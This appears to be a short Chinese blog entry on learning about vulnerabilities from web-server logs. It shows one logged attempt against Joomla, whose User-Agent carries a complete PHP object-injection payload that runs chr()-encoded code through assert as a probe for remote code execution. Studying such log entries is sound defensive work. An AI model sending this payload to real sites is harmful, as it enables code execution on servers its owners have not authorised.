從 Web Log 學習系統漏洞 39

新東西, Log中的紀錄, 好像是 Joomla 架站套件的漏洞攻擊

103.210.239.214 - - [05/May/2019:20:07:50 +0800] "GET / HTTP/1.1" 200 1829 "-" "}__test|O:21:\"JDatabaseDriverMysqli\":3:{s:2:\"fc\";O:17:\"JSimplepieFactory\":0:{}s:21:\"\\0\\0\\0disconnectHandlers\";a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{}s:8:\"feed_url\";s:277:\"eval(chr(100).chr(105).chr(101).chr(40).chr(109).chr(100).chr(53).chr(40).chr(68).chr(73).chr(82).chr(69).chr(67).chr(84).chr(79).chr(82).chr(89).chr(95).chr(83).chr(69).chr(80).chr(65).chr(82).chr(65).chr(84).chr(79).chr(82).chr(41).chr(41).chr(59));JFactory::getConfig();exit\";s:19:\"cache_name_function\";s:6:\"assert\";s:5:\"cache\";b:1;s:11:\"cache_class\";O:20:\"JDatabaseDriverMysql\":0:{}}i:1;s:4:\"init\";}}s:13:\"\\0\\0\\0connection\";b:1;}\xf0\xfd\xfd\xfd"